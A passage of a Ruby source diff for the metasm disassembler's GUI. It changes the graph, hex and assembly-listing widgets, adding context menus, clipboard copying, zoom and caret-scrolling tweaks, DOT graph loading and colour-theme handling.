@default_color_association = ColorTheme.merge :hlbox_bg => :palegrey, :box_bg => :white, + :arrow_hl => :red, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, + :arrow_direct => :darkred, :box_bg_shadow => :black, :background => :paleblue # @othergraphs = ? (to keep user-specified formatting) end + def view_x; @curcontext.view_x; end + def view_x=(vx); @curcontext.view_x = vx; end + def view_y; @curcontext.view_y; end + def view_y=(vy); @curcontext.view_y = vy; end + def resized(w, h) redraw end def find_box_xy(x, y) - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom @shown_boxes.to_a.reverse.find { |b| b.x <= x and b.x+b.w > x and b.y <= y-1 and b.y+b.h > y+1 } end @@ -512,6 +786,7 @@ class GraphViewWidget < DrawableWidget case dir when :up if @zoom < 100 + # zoom in oldzoom = @zoom @zoom *= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -519,7 +794,8 @@ class GraphViewWidget < DrawableWidget @curcontext.view_y += (y / oldzoom - y / @zoom) end when :down - if @zoom > 1.0/100 + if @zoom > 1.0/1000 + # zoom out oldzoom = @zoom @zoom /= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -557,10 +833,10 @@ class GraphViewWidget < DrawableWidget @mousemove_origin = nil if @mousemove_origin_ctrl - x1 = @curcontext.view_x + @mousemove_origin_ctrl[0]/@zoom + x1 = view_x + @mousemove_origin_ctrl[0]/@zoom x2 = x1 + (x - @mousemove_origin_ctrl[0])/@zoom x1, x2 = x2, x1 if x1 > x2 - y1 = @curcontext.view_y + @mousemove_origin_ctrl[1]/@zoom + y1 = view_y + @mousemove_origin_ctrl[1]/@zoom y2 = y1 + (y - @mousemove_origin_ctrl[1])/@zoom y1, y2 = y2, y1 if y1 > y2 @selected_boxes |= @curcontext.box.find_all { |b| b.x >= x1 and b.x + b.w <= x2 and b.y >= y1 and b.y + b.h <= y2 } @@ -587,8 +863,8 @@ class GraphViewWidget < DrawableWidget if b = find_box_xy(x, y) @selected_boxes = [b] if not @selected_boxes.include? b @caret_box = b - @caret_x = (@curcontext.view_x+x/@zoom-b.x-1).to_i / @font_width - @caret_y = (@curcontext.view_y+y/@zoom-b.y-1).to_i / @font_height + @caret_x = (view_x+x/@zoom-b.x-1).to_i / @font_width + @caret_y = (view_y+y/@zoom-b.y-1).to_i / @font_height update_caret else @selected_boxes = [] @@ -597,22 +873,43 @@ class GraphViewWidget < DrawableWidget redraw end + def setup_contextmenu(b, m) + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@caret_box[:line_text_col][@caret_y].map { |ss, cc| ss }.join) } + addsubmenu(cm, 'copy _box') { + sb = @selected_boxes + sb = [@curbox] if sb.empty? + clipboard_copy(sb.map { |ob| ob[:line_text_col].map { |s| s.map { |ss, cc| ss }.join + "\r\n" }.join }.join("\r\n")) + } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :graph) } + addsubmenu(m, 'show descendants only') { hide_non_descendants(@selected_boxes) } + addsubmenu(m, 'show ascendants only') { hide_non_ascendants(@selected_boxes) } + addsubmenu(m, 'restore graph') { gui_update } + end + # if the target is a call to a subfunction, open a new window with the graph of this function (popup) def rightclick(x, y) if b = find_box_xy(x, y) and @zoom >= 0.90 and @zoom <= 1.1 click(x, y) @mousemove_origin = nil - @parent_widget.clone_window(@hl_word, :graph) + m = new_menu + setup_contextmenu(b, m) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @caret_box[:line_address][@caret_y]) + end + popupmenu(m, x, y) end end def doubleclick(x, y) + @mousemove_origin = nil if b = find_box_xy(x, y) - @mousemove_origin = nil if @hl_word and @zoom >= 0.90 and @zoom <= 1.1 @parent_widget.focus_addr(@hl_word) else - @parent_widget.focus_addr b[:addresses].first + @parent_widget.focus_addr((b[:addresses] || b[:line_address]).first) end elsif doubleclick_check_arrow(x, y) elsif @zoom == 1.0 @@ -628,20 +925,21 @@ class GraphViewWidget < DrawableWidget # check if the user clicked on the beginning/end of an arrow, if so focus on the other end def doubleclick_check_arrow(x, y) return if @margin*@zoom < 2 - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom sx = nil if bt = @shown_boxes.to_a.reverse.find { |b| y >= b.y+b.h-1 and y <= b.y+b.h-1+@margin+2 and sx = b.x+b.w/2 - b.to.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin + x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bt.to.length-1 if idx >= bt.to.length if bt.to[idx] if @parent_widget - @parent_widget.focus_addr bt.to[idx][:line_address][0] + @caret_box, @caret_y = bt, bt[:line_address].length-1 + @parent_widget.focus_addr bt.to[idx][:line_address][0] else focus_xy(bt.to[idx].x, bt.to[idx].y) end @@ -650,14 +948,15 @@ class GraphViewWidget < DrawableWidget elsif bf = @shown_boxes.to_a.reverse.find { |b| y >= b.y-@margin-2 and y <= b.y and sx = b.x+b.w/2 - b.from.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 + x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bf.from.length-1 if idx >= bf.from.length if bf.from[idx] if @parent_widget - @parent_widget.focus_addr bf.from[idx][:line_address][-1] + @caret_box, @caret_y = bf, bf[:line_address].length-1 + @parent_widget.focus_addr bf.from[idx][:line_address][-1] else focus_xy(bt.from[idx].x, bt.from[idx].y) end @@ -668,10 +967,12 @@ class GraphViewWidget < DrawableWidget # update the zoom & view_xy to show the whole graph in the window def zoom_all - minx = @curcontext.box.map { |b| b.x }.min.to_i - 10 - miny = @curcontext.box.map { |b| b.y }.min.to_i - 10 - maxx = @curcontext.box.map { |b| b.x + b.w }.max.to_i + 10 - maxy = @curcontext.box.map { |b| b.y + b.h }.max.to_i + 10 + minx, miny, maxx, maxy = @curcontext.boundingbox + minx -= @margin + miny -= @margin + maxx += @margin + maxy += @margin + @zoom = [width.to_f/(maxx-minx), height.to_f/(maxy-miny)].min @zoom = 1.0 if @zoom > 1.0 or (@zoom-1.0).abs < 0.1 @curcontext.view_x = minx + (maxx-minx-width/@zoom)/2 @@ -699,9 +1000,10 @@ class GraphViewWidget < DrawableWidget } @shown_boxes = [] - w_w, w_h = width, height + w_w = width + w_h = height @curcontext.box.each { |b| - next if b.x >= @curcontext.view_x+w_w/@zoom or b.y >= @curcontext.view_y+w_h/@zoom or b.x+b.w <= @curcontext.view_x or b.y+b.h <= @curcontext.view_y + next if b.x >= view_x+w_w/@zoom or b.y >= view_y+w_h/@zoom or b.x+b.w <= view_x or b.y+b.h <= view_y @shown_boxes << b paint_box(b) } @@ -720,9 +1022,10 @@ class GraphViewWidget < DrawableWidget end def paint_arrow(b1, b2) - x1, y1 = b1.x+b1.w/2-@curcontext.view_x, b1.y+b1.h-@curcontext.view_y - x2, y2 = b2.x+b2.w/2-@curcontext.view_x, b2.y-1-@curcontext.view_y - x1o, x2o = x1, x2 + x1 = x1o = b1.x+b1.w/2-view_x + y1 = b1.y+b1.h-view_y + x2 = x2o = b2.x+b2.w/2-view_x + y2 = b2.y-1-view_y margin = @margin x1 += (-(b1.to.length-1)/2 + b1.to.index(b2)) * margin/2 x2 += (-(b2.from.length-1)/2 + b2.from.index(b1)) * margin/2 @@ -730,12 +1033,6 @@ class GraphViewWidget < DrawableWidget margin, x1, y1, x2, y2, b1w, b2w, x1o, x2o = [margin, x1, y1, x2, y2, b1.w, b2.w, x1o, x2o].map { |v| v*@zoom } - # XXX gtk wraps coords around 0x8000 - if x1.abs > 0x7000 ; y1 /= x1.abs/0x7000 ; x1 /= x1.abs/0x7000 ; end - if y1.abs > 0x7000 ; x1 /= y1.abs/0x7000 ; y1 /= y1.abs/0x7000 ; end - if x2.abs > 0x7000 ; y2 /= x2.abs/0x7000 ; x2 /= x2.abs/0x7000 ; end - if y2.abs > 0x7000 ; x2 /= y2.abs/0x7000 ; y2 /= y2.abs/0x7000 ; end - # straighten vertical arrows if possible if y2 > y1 and (x1-x2).abs <= margin if b1.to.length == 1 @@ -755,26 +1052,13 @@ class GraphViewWidget < DrawableWidget y1 += margin y2 -= margin-1 end - if y2+margin >= y1-margin-1 - # straight vertical down arrow + + if y2 > y1 - b1.h*@zoom - 2*margin+1 + # straight arrow draw_line(x1, y1, x2, y2) if x1 != y1 or x2 != y2 - # else arrow up, need to sneak around boxes - elsif x1o-b1w/2-margin >= x2o+b2w/2+margin # z - draw_line(x1, y1, x1o-b1w/2-margin, y1) - draw_line(x1o-b1w/2-margin, y1, x2o+b2w/2+margin, y2) - draw_line(x2o+b2w/2+margin, y2, x2, y2) - draw_line(x1, y1+1, x1o-b1w/2-margin, y1+1) # double - draw_line(x1o-b1w/2-margin+1, y1, x2o+b2w/2+margin+1, y2) - draw_line(x2o+b2w/2+margin, y2+1, x2, y2+1) - elsif x1+b1w/2+margin <= x2-b2w/2-margin # invert z - draw_line(x1, y1, x1o+b1w/2+margin, y1) - draw_line(x1o+b1w/2+margin, y1, x2o-b2w/2-margin, y2) - draw_line(x2o-b2w/2-margin, y2, x2, y2) - draw_line(x1, y1+1, x1+b1w/2+margin, y1+1) # double - draw_line(x1o+b1w/2+margin+1, y1, x2o-b2w/2-margin+1, y2) - draw_line(x2o-b2w/2-margin, y2+1, x2, y2+1) - else # turn around + else + # arrow goes up: navigate around b2 x = (x1 <= x2 ? [x1o-b1w/2-margin, x2o-b2w/2-margin].min : [x1o+b1w/2+margin, x2o+b2w/2+margin].max) draw_line(x1, y1, x, y1) draw_line(x, y1, x, y2) @@ -786,7 +1070,7 @@ class GraphViewWidget < DrawableWidget end def set_color_boxshadow(b) - draw_color :black + draw_color :box_bg_shadow end def set_color_box(b) @@ -799,28 +1083,29 @@ class GraphViewWidget < DrawableWidget def paint_box(b) set_color_boxshadow(b) - draw_rectangle((b.x-@curcontext.view_x+3)*@zoom, (b.y-@curcontext.view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x+3)*@zoom, (b.y-view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) set_color_box(b) - draw_rectangle((b.x-@curcontext.view_x)*@zoom, (b.y-@curcontext.view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x)*@zoom, (b.y-view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) # current text position - x = (b.x - @curcontext.view_x + 1)*@zoom - y = (b.y - @curcontext.view_y + 1)*@zoom - w_w = (b.x - @curcontext.view_x + b.w - @font_width)*@zoom - w_h = (b.y - @curcontext.view_y + b.h - @font_height)*@zoom + x = (b.x - view_x + 1)*@zoom + y = (b.y - view_y + 1)*@zoom + w_w = (b.x - view_x + b.w - @font_width)*@zoom + w_h = (b.y - view_y + b.h - @font_height)*@zoom + w_h = height if w_h > height if @parent_widget and @parent_widget.bg_color_callback ly = 0 b[:line_address].each { |a| if c = @parent_widget.bg_color_callback[a] - draw_rectangle_color(c, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) + draw_rectangle_color(c, (b.x-view_x)*@zoom, (1+b.y-view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) end ly += 1 } end if @caret_box == b - draw_rectangle_color(:cursorline_bg, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) + draw_rectangle_color(:cursorline_bg, (b.x-view_x)*@zoom, (1+b.y-view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) end return if @zoom < 0.99 or @zoom > 1.1 @@ -829,33 +1114,22 @@ class GraphViewWidget < DrawableWidget # renders a string at current cursor position with a color # must not include newline render = lambda { |str, color| - # function ends when we write under the bottom of the listing next if y >= w_h+2 or x >= w_w - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height*@zoom) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } + yoff = @font_height * @zoom b[:line_text_col].each { |list| - list.each { |s, c| render[s, c] } - x = (b.x - @curcontext.view_x + 1)*@zoom - y += @font_height*@zoom + list.each { |s, c| render[s, c] } if y >= -yoff + x = (b.x - view_x + 1)*@zoom + y += yoff + break if y > w_h+2 } if b == @caret_box and focus? - cx = (b.x - @curcontext.view_x + 1 + @caret_x*@font_width)*@zoom - cy = (b.y - @curcontext.view_y + 1 + @caret_y*@font_height)*@zoom + cx = (b.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (b.y - view_y + 1 + @caret_y*@font_height)*@zoom draw_line_color(:caret, cx, cy, cx, cy+(@font_height-1)*@zoom) end end @@ -894,33 +1168,33 @@ class GraphViewWidget < DrawableWidget end def load_dotfile(path) + load_dot(File.read(path)) + end + + def load_dot(dota) @want_update_graph = false @curcontext.clear boxes = {} new_box = lambda { |text| b = @curcontext.new_box(text, :line_text_col => [[[text, :text]]]) - b.w = text.length * @font_width + b.w = (text.length+1) * @font_width b.h = @font_height b } - max = File.size(path) - i = 0 - File.open(path) { |fd| - while l = fd.gets - case l.strip - when /^"?(\w+)"?\s*->\s*"?(\w+)"?;?$/ - b1 = boxes[$1] ||= new_box[$1] - b2 = boxes[$2] ||= new_box[$2] - b1.to |= [b2] - b2.from |= [b1] - end -$stderr.printf("%.02f\r" % (fd.pos*100.0/max)) if (i += 1) & 0xff == 0 + dota.scan(/^.*$/) { |l| + a = l.strip.chomp(';').split(/->/).map { |s| s.strip.delete '"' } + next if not id = a.shift + b0 = boxes[id] ||= new_box[id] + while id = a.shift + b1 = boxes[id] ||= new_box[id] + b0.to |= [b1] + b1.from |= [b0] + b0 = b1 end } -p boxes.length redraw -rescue Interrupt -p boxes.length + rescue Interrupt + puts "dot_len #{boxes.length}" end # create the graph objects in ctx @@ -1009,7 +1283,7 @@ p boxes.length } end render["#{Expression[curaddr]} ", :address] if @show_addresses - render[di.instruction.to_s.ljust(di.comment ? 24 : 0), :instruction] + render[di.instruction.to_s.ljust(di.comment ? 18 : 0), :instruction] render[' ; ' + di.comment.join(' ')[0, 64], :comment] if di.comment nl[] else @@ -1042,6 +1316,8 @@ p boxes.length } @parent_widget.list_bghilight("search result for /#{pat}/i", list) { |i| @parent_widget.focus_addr i[0] } } + when ?+; mouse_wheel_ctrl(:up, width/2, height/2) + when ?-; mouse_wheel_ctrl(:down, width/2, height/2) else return false end true @@ -1135,16 +1411,18 @@ p boxes.length end when :pgup if @caret_box - @caret_y = 0 - update_caret + @caret_y -= (height/4/@zoom/@font_height).to_i + @caret_y = 0 if @caret_y < 0 + update_caret(false) else @curcontext.view_y -= height/4/@zoom redraw end when :pgdown if @caret_box - @caret_y = @caret_box[:line_address].length-1 - update_caret + @caret_y += (height/4/@zoom/@font_height).to_i + @caret_y = [@caret_box[:line_address].length-1, @caret_y].min + update_caret(false) else @curcontext.view_y += height/4/@zoom redraw @@ -1152,7 +1430,7 @@ p boxes.length when :home if @caret_box @caret_x = 0 - update_caret + update_caret(false) else @curcontext.view_x = @curcontext.box.map { |b_| b_.x }.min-10 @curcontext.view_y = @curcontext.box.map { |b_| b_.y }.min-10 @@ -1161,7 +1439,7 @@ p boxes.length when :end if @caret_box @caret_x = @caret_box[:line_text_col][@caret_y].to_a.map { |ss, cc| ss }.join.length - update_caret + update_caret(false) else @curcontext.view_x = [@curcontext.box.map { |b_| b_.x+b_.w }.max-width/@zoom+10, @curcontext.box.map { |b_| b_.x }.min-10].max @curcontext.view_y = [@curcontext.box.map { |b_| b_.y+b_.h }.max-height/@zoom+10, @curcontext.box.map { |b_| b_.y }.min-10].max @@ -1175,38 +1453,24 @@ p boxes.length b_.to.each { |bb| bb.from.delete b_ } } redraw + when :popupmenu + if @caret_box + cx = (@caret_box.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (@caret_box.y - view_y + 1 + @caret_y*@font_height)*@zoom + rightclick(cx, cy) + end when ?a + t0 = Time.now puts 'autoarrange' @curcontext.auto_arrange_boxes redraw - puts 'autoarrange done' + puts 'autoarrange done %.02f' % (Time.now - t0) when ?u gui_update when ?R load __FILE__ - when ?S # reset - @curcontext.auto_arrange_init(@selected_boxes.empty? ? @curcontext.box : @selected_boxes) - puts 'reset', @curcontext.dump_layout, '' - zoom_all - redraw - when ?T # step auto_arrange - @curcontext.auto_arrange_step - puts @curcontext.dump_layout, '' - zoom_all - redraw - when ?L # post auto_arrange - @curcontext.auto_arrange_post - zoom_all - redraw - when ?V # shrink - @selected_boxes.each { |b_| - dx = (b_.from + b_.to).map { |bb| bb.x+bb.w/2 - b_.x-b_.w/2 } - dx = dx.inject(0) { |s, xx| s+xx }/dx.length - b_.x += dx - } - redraw when ?I # create arbitrary boxes/links if @selected_boxes.empty? @fakebox ||= 0 @@ -1217,7 +1481,7 @@ p boxes.length b.h = @font_height * 2 b.x = rand(200) - 100 b.y = rand(200) - 100 - + @fakebox += 1 else b1, *bl = @selected_boxes @@ -1229,8 +1493,8 @@ p boxes.length else b1.to << b2 b2.from << b1 - end - } + end + } end redraw @@ -1256,6 +1520,48 @@ p boxes.length true end + def hide_non_descendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.to.each { |bb| + todo << bb if bb.y+bb.h >= b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + + def hide_non_ascendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.from.each { |bb| + todo << bb if bb.y <= b.h+b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + # find a suitable array of graph roots, walking up from a block (function start/entrypoint) def dasm_find_roots(addr) todo = [addr] @@ -1312,7 +1618,6 @@ p boxes.length @curcontext.view_y += (height/2 / @zoom - height/2) @zoom = 1.0 - focus_xy(b.x, b.y + @caret_y*@font_height) update_caret elsif can_update_context @curcontext = Graph.new 'testic' @@ -1326,23 +1631,59 @@ p boxes.length end def focus_xy(x, y) - if not @curcontext.view_x or @curcontext.view_x*@zoom + width*3/4 < x or @curcontext.view_x*@zoom > x - @curcontext.view_x = (x - width/5)/@zoom + # dont move during a click + return if @mousemove_origin + + # ensure the caret stays onscreen + if not view_x + @curcontext.view_x = x - width/5/@zoom + redraw + elsif @caret_box and @caret_box.w < width*27/30/@zoom + # keep @caret_box full if possible + if view_x + width/20/@zoom > @caret_box.x + @curcontext.view_x = @caret_box.x-width/20/@zoom + elsif view_x + width*9/10/@zoom < @caret_box.x+@caret_box.w + @curcontext.view_x = @caret_box.x+@caret_box.w-width*9/10/@zoom + end + elsif view_x + width/20/@zoom > x + @curcontext.view_x = x-width/20/@zoom + redraw + elsif view_x + width*9/10/@zoom < x + @curcontext.view_x = x-width*9/10/@zoom redraw end - if not @curcontext.view_y or @curcontext.view_y*@zoom + height*3/4 < y or @curcontext.view_y*@zoom > y - @curcontext.view_y = (y - height/5)/@zoom + + if not view_y + @curcontext.view_y = y - height/5/@zoom + redraw + elsif @caret_box and @caret_box.h < height*27/30/@zoom + if view_y + height/20/@zoom > @caret_box.y + @curcontext.view_y = @caret_box.y-height/20/@zoom + elsif view_y + height*9/10/@zoom < @caret_box.y+@caret_box.h + @curcontext.view_y = @caret_box.y+@caret_box.h-height*9/10/@zoom + end + elsif view_y + height/20/@zoom > y + @curcontext.view_y = y-height/20/@zoom + redraw + elsif view_y + height*9/10/@zoom < y + @curcontext.view_y = y-height*9/10/@zoom redraw end end # hint that the caret moved # redraw, change the hilighted word - def update_caret - return if not @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] - l = l.map { |s, c| s }.join - @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y - update_hl_word(l, @caret_x) + def update_caret(update_hlword = true) + return if not b = @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] + + if update_hlword + l = l.map { |s, c| s }.join + @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y + update_hl_word(l, @caret_x) + end + + focus_xy(b.x + @caret_x*@font_width, b.y + @caret_y*@font_height) + redraw end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 3005edcf04..32422f84e2 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -42,12 +42,11 @@ class HexWidget < DrawableWidget @relative_addr = nil # show '+42h' in the addr column if not nil @hl_curbyte = true # draw grey bg for current byte - @default_color_association = { :ascii => :black, :data => :black, - :address => :blue, :caret => :black, :background => :white, - :write_pending => :darkred, :caret_mirror => :palegrey } + @default_color_association = ColorTheme.merge :ascii => :black, :data => :black, + :write_pending => :darkred, :caret_mirror => :palegrey end - def resized(w, h) + def resized(w=width, h=height) wc = w/@font_width hc = h/@font_height ca = current_address @@ -103,6 +102,7 @@ class HexWidget < DrawableWidget end else @data_size = {1 => 2, 2 => 4, 4 => 8, 8 => 1}[@data_size] + resized end redraw end @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/n, '.') + d = d.gsub(/[^\x20-\x7e]/, '.') if wp.empty? render[d, :ascii] else @@ -392,11 +392,15 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex - inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } + text = '' + if current_address.kind_of?(::Integer) + text = Expression.encode_imm(current_address, "u#{@dasm.cpu.size}".to_sym, @dasm.cpu).unpack('H*').first + end + inputbox('hex pattern to search (hex regexp, use .. for wildcard)', :text => text) { |pat| + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } - listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } + listwindow("hex search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -404,7 +408,7 @@ class HexWidget < DrawableWidget def prompt_search_ascii inputbox('data pattern to search (regexp)') { |pat| list = [['addr']] + @dasm.pattern_scan(/#{pat}/).map { |a| [Expression[a]] } - listwindow("data search #{pat}", list) { |i| focus_addr i[0] } + listwindow("data search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -483,7 +487,7 @@ class HexWidget < DrawableWidget } @write_pending.clear rescue - @parent_widget.messagebox($!, $!.class.to_s) + @parent_widget.messagebox($!.message.to_s, $!.class.to_s) end def get_cursor_pos diff --git a/lib/metasm/metasm/gui/dasm_listing.rb b/lib/metasm/metasm/gui/dasm_listing.rb index 6378f48374..8a67ab22de 100644 --- a/lib/metasm/metasm/gui/dasm_listing.rb +++ b/lib/metasm/metasm/gui/dasm_listing.rb @@ -28,10 +28,8 @@ class AsmListingWidget < DrawableWidget @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size)) @startaddr = @dasm.prog_binding['entrypoint'] || @minaddr - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered, - :arrows_bg => :palegrey, :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red } + @default_color_association = ColorTheme.merge :raw_data => :black, :arrows_bg => :palegrey, + :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red end def resized(w, h) @@ -55,11 +53,26 @@ class AsmListingWidget < DrawableWidget def click(x, y) set_caret_from_click(x - @arrow_zone_w, y) + @caret_x = 0 if @caret_x < 0 end def rightclick(x, y) click(x, y) - @parent_widget.clone_window(@hl_word, :listing) + cx = (x - @arrow_zone_w) / @font_width + cy = y / @font_height + if cx > 0 + m = new_menu + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@line_text[cy]) if @line_text[cy] } + addsubmenu(cm, 'copy _all') { clipboard_copy(@line_text.join("\r\n")) } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :listing) } + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @line_address[@caret_y]) + end + popupmenu(m, x, y) + end end def doubleclick(x, y) @@ -118,19 +131,7 @@ class AsmListingWidget < DrawableWidget render = lambda { |str, color| # function ends when we write under the bottom of the listing next if not str or y >= w_h or x >= w_w - if @hl_word and @hl_word != '' - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -275,6 +276,12 @@ class AsmListingWidget < DrawableWidget def keypress(key) case key + when ?u # undef data formatting with ?d + addr = current_address + if not @dasm.decoded[addr] and @dasm.xrefs[addr].kind_of?(Xref) + @dasm.xrefs.delete addr + gui_update + end when :left if @caret_x >= 1 @caret_x -= 1 @@ -315,6 +322,8 @@ class AsmListingWidget < DrawableWidget when :end @caret_x = @line_text[@caret_y].to_s.length update_caret + when :popupmenu + rightclick(@caret_x*@font_width + @arrow_zone_w+1, @caret_y*@font_height) else return false end true @@ -422,16 +431,18 @@ class AsmListingWidget < DrawableWidget # ary di.block.each_from_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (ndi = @dasm.di_at(addr) and ndi.next_addr == curaddr) + # block.list.last for delayslot + next if ndi = @dasm.di_at(addr) and ndi.block.list.last.next_addr == curaddr arrows_addr << [addr, curaddr] } end if di.block.list.last == di + # kikoo delayslot + rdi = di.block.list[-[4, di.block.list.length].min, 4].reverse.find { |_di| _di.opcode.props[:setip] } || di di.block.each_to_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (di.next_addr == addr and - (not di.opcode.props[:saveip] or di.block.to_subfuncret)) - arrows_addr << [curaddr, addr] + next if di.next_addr == addr and (not rdi.opcode.props[:saveip] or rdi.block.to_subfuncret) + arrows_addr << [rdi.address, addr] } end str_c << ["#{Expression[di.address]} ", :address] @@ -485,11 +496,11 @@ class AsmListingWidget < DrawableWidget xlen ||= xref.len || 1 if xref.len comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]}" if xref.origin } if @dasm.xrefs[curaddr] - len = xlen if xlen and xlen > 2 # db xref may point a string + len = xlen if xlen and xlen >= 2 # db xref may point a string comment = nil if comment.empty? len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len str = str[0, len] if len < str.length - str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if len == 2 + str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if xlen == 2 if (xlen == 1 or xlen == 2) and asc = str.inject('') { |asc_, c| case c when 0x20..0x7e, 9, 10, 13; asc_ << c @@ -534,7 +545,7 @@ class AsmListingWidget < DrawableWidget comment = [] @dasm.each_xref(curaddr) { |xref| len = xref.len if xref.len - comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]} " + comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin] if xref.origin} " } len = 1 if (len != 2 and len != 4 and len != 8) or len < 1 dat = "#{%w[x db dw x dd x x x dq][len]} ? " @@ -578,9 +589,13 @@ class AsmListingWidget < DrawableWidget prev_arrows = @arrows addr_line = {} # addr => last line (di) @line_address.each_with_index { |a, l| addr_line[a] = l } - @arrows = arrows_addr.uniq.sort.map { |from, to| - [(addr_line[from] || (from < curaddr ? :up : :down) rescue :up), - (addr_line[ to ] || ( to < curaddr ? :up : :down) rescue :up)] + @arrows = arrows_addr.uniq.find_all { |from, to| + ((from-curaddr)+(to-curaddr)).kind_of?(::Integer) rescue nil + }.sort_by { |from, to| + [from-curaddr, to-curaddr] + }.map { |from, to| + [(addr_line[from] || (from-curaddr < 0 ? :up : :down)), + (addr_line[ to 